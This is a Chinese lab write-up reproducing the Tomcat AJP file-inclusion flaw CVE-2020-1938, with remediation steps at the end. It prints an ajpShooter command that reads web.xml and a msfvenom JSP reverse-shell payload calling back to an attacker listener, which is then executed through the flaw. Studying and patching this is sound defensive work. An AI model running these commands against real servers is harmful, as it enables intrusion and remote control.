漏洞描述
由于Tomcat默認開啟的AJP服務(8009端口)存在一處文件包含缺陷,攻擊者可構(gòu)造惡意的請求包進行文件包含操作,進而讀取受影響Tomcat服務器上的Web目錄文件。
漏洞相對雞肋,外網(wǎng)Tomcat服務器一般不會開放ajp8009端口,內(nèi)網(wǎng)橫向使用效率太低。
漏洞編號
CVE-2020-1938
CNVD-2020-10487
影響版本
Apache Tomcat 6
Apache Tomcat 7 < 7.0.100
Apache Tomcat 8 < 8.5.51
Apache Tomcat 9 < 9.0.31
環(huán)境搭建
本地下載存在漏洞的版本,選擇了Tomcat/8.5.0版本進行實驗。
Tomcat歷史版本下載
配置系統(tǒng)環(huán)境變量
CATALINA_BASE 安裝路徑
CATALINA_HOME 安裝路徑
Path %CATALINA_HOME%\bin
startup啟動服務,瀏覽器訪問本地8080端口

復現(xiàn)過程
工具地址
常用兩種利用方式:
1、通過AJP協(xié)議漏洞讀取網(wǎng)站路徑下的數(shù)據(jù)庫配置文件,網(wǎng)站配置文件等敏感信息。
2、配合文件上傳功能,包含執(zhí)行上傳的惡意代碼。
讀取WEB-INF/web.xml的內(nèi)容。
python3 ajpShooter.py http://172.16.86.168:8080 8009 /WEB-INF/web.xml read

假設(shè)存在文件上傳功能,上傳任意后綴的惡意文件,使用文件包含getshell。
生成msf反彈jsp馬。
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.2.146 LPORT=1234 R >text.txt
上傳到當前網(wǎng)站目錄下,包含執(zhí)行惡意代碼。
python3 ajpShooter.py http://172.16.86.168:8080/123 8009 /text.txt eval

msf成功接收到會話。

漏洞修復
1、升級無漏洞版本
2、在servce.xml中注釋AJP,或者綁定到localhost
(1)編輯 <CATALINA_BASE>/conf/server.xml,找到如下行(<CATALINA_BASE> 為 Tomcat 的工作目錄):
<Connector port="8009"protocol="AJP/1.3" redirectPort="8443" />
(2)將此行注釋掉(也可刪掉該行):
<!--<Connectorport="8009" protocol="AJP/1.3"redirectPort="8443" />-->
(3)保存后需重新啟動Tomcat,規(guī)則方可生效。
3、若需使用Tomcat AJP協(xié)議,可根據(jù)使用版本配置協(xié)議屬性設(shè)置認證憑證。
使用Tomcat 7和Tomcat 9的用戶可為AJP Connector配置secret來設(shè)置AJP協(xié)議的認證憑證。例如(注意必須將YOUR_TOMCAT_AJP_SECRET更改為一個安全性高、無法被輕易猜解的值):
<Connector port="8009"protocol="AJP/1.3" redirectPort="8443"address="YOUR_TOMCAT_IP_ADDRESS" secret="YOUR_TOMCAT_AJP_SECRET"/>
使用Tomcat 8的用戶可為AJP Connector配置requiredSecret來設(shè)置AJP協(xié)議的認證憑證。例如(注意必須將YOUR_TOMCAT_AJP_SECRET更改為一個安全性高、無法被輕易猜解的值):
<Connector port="8009"protocol="AJP/1.3" redirectPort="8443"address="YOUR_TOMCAT_IP_ADDRESS"requiredSecret="YOUR_TOMCAT_AJP_SECRET" />
參考鏈接
https://blog.csdn.net/weixin_42918771/article/details/104998981